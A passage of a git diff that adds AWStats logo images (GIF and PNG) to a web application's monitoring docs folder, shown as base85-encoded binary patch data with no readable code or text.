za`o=r|6#!sWn``!U(cLvmYX!S=;z<Rzh#rx8dg8JaPR*QR+sAP-)+3oE<gT$|9-3b z-)^_>W_foy@?4lVxlBBKVQ;&9T}0<uxewpOWN)uLf9~A2%GF!UYJFep@0(fB$$nGA zT|$U^Qp%CA!~MJk5nt6}xbNs1OrG(H!{NC50i~J;9jsqnq)o-V4J-vTj9C^t1uQl+ z{u~_LG5z7}1A!|o?i|h8q<84cHlZv_iCb!6;-AwmTol}7WaN2KbBb*6<;4@t&R$8L zmKeG0$P2a1seAMz|J<zq@ZwQL@6Z3u&urHB9@e^9_w~8^Sp{vCuPa=cA3Wb8%qW>2 zDz}-tbpO>4%?IQE3g2Mbpc1)7_V1~yAwu>WrunS#jf~uI;r`)MCzgMmxhZ;MEaT}V z|1R9VwQ<7?$xhR+40~6`|6|!Pza^&j)XDmg*maH5j~KnGW0L&2ZE3`^zl-lBUt2vd zc%k7phEqLB3Ac=1-Cid1`Mpcf6j^`u4WF2sMXge=T))2kP5jrti!*F~n7-!H?G9Nk zl(&5AV*g|jPWBDb^Da$Ta{T!5=g*#HZN1eeYkfuaM{{$t!Oqq`_gh~-2$jr@nRG8W z?cJL<B8`U~-Gbix{+M+#Wr~^?`z_71uwtV&;ceWi_YZ_5UwQrVWoFUu(@PG2zV!OS z1%V4E_VE1B`qS9RxMkweUAuQbU0E|D<GQ<>+p^`$ub%Nz+vC+7aX3`ZaHrUxYqK{# zVm2|C^G-kdP{IG#dZ}mn{>^JwIkLU_Y1{0|*S;)@;nw#2`6f5c@Z4d!_Cf3OQK^yy zSC$)=^SyX0756XrQ*%PB=3zmRV)la->mN1-MDSFLl>7<zZA?@;Ft5=~=6OWY=kOzQ zIk`VcCoODjIHc98d4}=Dhs&3PStOS)S(JF=RLW=WdlEM6<x}q^^(!3+YxF$2>1UF+ zob<8QPTB022JNj=KF<p}F|8+6p!q}Z4OfeI6Ko%7%s3ErjJr#hQ&OWvK3z|bf5)rT z&z>!74qm*W(m6??tGvZ{nV8Jt6rVTos%n8Ie{|+IFuD7BSWN%el*Ii?fGzdl>d&&l kdX3ZnuPbi#)B4LVzbSV8H&vbU3=9kmp00i_>zopr0Oos^6951J literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/awstats_logo4.gif b/src/main/webapp/monitoramento/docs/images/awstats_logo4.gif new file mode 100644 index 0000000000000000000000000000000000000000..1ed25dfb50a6142ce3e9ed19cd44579ab808d1b7 GIT binary patch literal 2486 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 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/awstats_logo4.png b/src/main/webapp/monitoramento/docs/images/awstats_logo4.png new file mode 100644 index 0000000000000000000000000000000000000000..cb69646e56d76864f48851f06da75826f89787f1 GIT binary patch literal 2144 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 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/awstats_logo5.gif b/src/main/webapp/monitoramento/docs/images/awstats_logo5.gif new file mode 100644 index 0000000000000000000000000000000000000000..8d2134887b8aa38e69fe4e65c1a1052d14162938 GIT binary patch literal 4330 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 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/awstats_logo5.png b/src/main/webapp/monitoramento/docs/images/awstats_logo5.png new file mode 100644 index 0000000000000000000000000000000000000000..9a1822c27ae4b7d6698b7fd7103a3ceae9cf8739 GIT binary patch literal 3693 zcmeAS@N?(olHy`uVBq!ia0y~yV0g#Cz+lF~%)r3#JvJ01z+U3%>&kwKS)NTpu3r7< zGX@3*&H|6fVg?3oArNM~bhqvg0|Ns~x}&cn1H;CC?mvmF3=B++0X`wF|NsC0^5x6h zw{IUmeth@t-OHCRpE+~p=+UEl_UzfZb?fTYtCuWUGI#FW$&)Ad_V%t_yLDpUs`B!# zsHozopycA@pt_8Zj<Ss6;^LN;o;h>YHa9od*Y^ZPwFE^~dj(bd`IV=pHm;qsH9Nb- zFQ_LdYKm9Xl;q^4K~X(X$#bGWjHS5+o1&sxqLSA}WpACc;8axl#<=Xg^)2U)tvz<E zXK&AxDapmhlC#ep3);HZaBFh$x$NR|$Ce)3tGRWr*VerfTaOj*jmkcEENbtuy~mCv z?>*MCcdz2sV_T24RJRmo*Z0+y7FVA;Hf8T#%dN>#*+D_oQBgf}TGE&H6tA69ymm@; zbN%+EJ=tq}iucZGS-5Z^0|Udcr7h>y_RN{Hbnnu&TbHgqHs@G&RMg(3Eqj;F$*w*( zrSIUqy;F{5@7=$De{xiEa#WO8R7+BEi&s?jgs$p2J;h6>6kppqr?}<ZwXIX4iq8dQ zpIf?hZ+?3Agb5S2&Z)k)ch2);bB?WDJEv#L)}>p^>o4t{Q+;h~Ph0Pe_s5oQU3zZL zlyh^|KHs|ad3AO5`*Tar9Xt2``LV5A?>&G2{o1|v|L^Vn|Nh+j=huppz5f5d_x}C! z@7LDey9NRuKYl!R?Ao#Fy?ggwyLRr{oGE*+ojbO5>$!V-*KS`v<=EP#=hn_Sw{~rD z_1^O0>b*;sE}PPOVrAdjIeY($CigQiaKHC-aSW-r^){+IUgWxH+C5|L?uLXC$!V;C z7X{>X6nIV-vrc8@<<gA}Gn^Ki<(sT))|OMk?8dv)Zq>5P+}x{6GT+4CEIzl_*n0E& z8)1hZUw?dFzWn*SH}~GxJ+FB_$2vOfTm5f&on801e+25@kriV}+#CKe`R2!W7g;@p zwu{6qURC%0Vfp`yqS^LSoKq?m<!?~eIX!8|z3iIcXTSBX?0J6R-%Ih%Bb(DthM)Yb zr=|bJ$7Rvq=2fdaqMPr>E<AR6cl5V6fBzl*(!K2H>iZ_T|6e~{^mfnV#eWlBW#4nY zp0!8yMQ&bB&YnBBc6~2+{$=M8qo^XwjekC=GS*q$k_`=!ePLQs%6(z?YQ~H2^49J* zG_|(geI|!hKwsZ}`l4oL?uM|-yi3CGihObNPCe_#a698&-pcr>s9AGai^St~m#q^z z+4(fTot-V!fxDnFE>_zkza&}psYiW$gw8ZqtLBVnzt!!3?)&T(8e08m>Qqm)bLm0d zEI%UH6I?HsE(q6l$S+y)T%zVz+s99R`{s2zdTPyaUFEmfbl$(bH>d6$W?#N~*15B1 z_x?!_&eEIdwNzk3;)`9&8nv_?)=%@#Us9i7p_DsgiA=1-3p>6e8eWQfd>to$c$a4v zS^N0dmy&QDNo)J-`)2(5Qe#zGEhzcz=YjUd&_FGR{2w=79NDo(W78JHqM{}BUoxi% z25V%u31}<iNlRNBZ@t24>ZWr|I@@dMrTO>#mIpt%Xcv;gp#1EjbnUI{=1oq^nC|sD z=v#bZl`PrnaczzJnh)n~EG>Ud-W)vtywkN>%kOVyU%C2a`}y$j{G}J?YuD^*D(Bky zrO&@duO+oBH}odMn@P%#t2DBo9lvWPTr2r6e%0;9is@+zf{i-&eU^vMKOQD$ut(I+ zcbW9wFK)Zoe<?4y#q)00<kK=UQ?6=gtiHO;b6w5fz*yOXdpTxi7*755=Gm)o{(s+& z-Z$PpUwQ9=buIbjm#b?Mw=7pab@17O-sYQLyoWah9k$qPuJGp0#7HSkjnxi$8xHcs 